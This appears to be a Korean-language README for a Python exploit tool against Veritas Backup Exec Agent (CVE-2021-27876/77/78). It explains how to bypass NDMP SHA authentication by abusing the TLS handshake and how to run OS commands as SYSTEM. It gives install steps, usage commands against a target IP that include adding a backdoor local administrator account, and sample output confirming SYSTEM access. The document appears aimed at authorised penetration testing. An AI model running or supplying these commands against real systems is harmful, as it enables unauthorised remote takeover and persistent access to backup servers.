
Veritas Backup Exec Agent용 인증 없는 RCE 익스플로잇(CVE-2021-27876/77/78) — NDMP를 통한 SHA 인증 우회로 SYSTEM 권한 획득
Veritas Backup Exec Agent용 인증되지 않은 RCE 익스플로잇 (CVE-2021-27876/77/78) — NDMP를 통한 SHA 인증 우회로 SYSTEM 권한 획득
| CVE | 설명 | CVSS 3.1 |
|---|---|---|
| CVE-2021-27876 | NDMP 프로토콜의 SHA 해시 조작을 통한 인증 우회 | 9.8 Critical |
| CVE-2021-27877 | NDMP를 통한 인증되지 않은 임의 파일 읽기 | 9.8 Critical |
| CVE-2021-27878 | NDMP_EXECUTE_COMMAND를 통한 임의 OS 명령 실행 | 9.8 Critical |
공지: Veritas VTS21-003
수정 버전: Backup Exec 21.3 이상.
Veritas Backup Exec Agent는 TCP/10000 포트에서 수신 대기하며 NDMP(Network Data Management Protocol)를 사용합니다. 이 익스플로잇은 세 가지 취약점을 연쇄적으로 악용합니다:
TLS 핸드셰이크 남용 — 에이전트는 자체 TLS 협상 중에 CSR을 요청합니다. 익스플로잇은 로컬 CA를 생성하고 에이전트의 CSR에 서명하여 핸드셰이크를 완료하고, 사전 공유 비밀 없이 소켓을 TLS로 업그레이드합니다.
SHA 인증 우회 (CVE-2021-27876) — NDMP SHA 인증은 SHA256('\x00' * 64 + challenge)를 계산합니다. 비밀번호가 64바이트 0-패딩 블록으로 앞에 추가되고 서버 측에서
비밀번호 자료에 대한 검증이 이루어지지 않으므로, 모든 클라이언트는 비밀번호를 알지 못해도 Administrator로 인증할 수 있습니다.
NDMP_EXECUTE_COMMAND (CVE-2021-27878) — 인증에 성공하면 NDMP_EXECUTE_COMMAND 메시지 유형이 NT AUTHORITY\SYSTEM 권한으로 임의의 OS 명령을 실행합니다. 출력은
C:\Windows\Temp\_be_out.txt로 리디렉션된 다음 NDMP_FILE_READ를 통해 다시 읽어옵니다.
Python 3.8+
최신 배포판에서는 Python이 "외부 관리(externally managed)"(PEP 668)로 표시되므로, 가상 환경에 종속성을 설치하세요:
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install cryptography
python3 be_rce.py
예시:
# Confirm SYSTEM access
python3 be_rce.py 10.10.10.50 "whoami"
# Dump hostname and domain
python3 be_rce.py 10.10.10.50 "whoami /all"
# Add a local admin
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"
Sample output:
[*] Connecting to 10.10.10.50:10000
[*] NDMP version: 9
[+] NDMP connection opened
[*] Generating CA certificate
[*] Got agent CSR (1024 bytes)
[*] Signed agent CSR and sent back
[*] SSL_HANDSHAKE CONNECT sent
[*] Upgrading to TLS
[+] TLS established
[*] Requesting SHA challenge
[*] Got 64-byte SHA challenge
[+] SHA authentication bypassed!
[*] Executing: whoami
[+] Command output:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────
해결 방법
참고 자료
법적 고지
이 도구는 승인된 침투 테스트 및 보안 연구 목적으로만 제공됩니다. 명시적인 서면 허가 없이 시스템을 대상으로 사용하는 것은 불법입니다. 저자는 오용으로 인한 어떠한 책임도 지지 않습니다.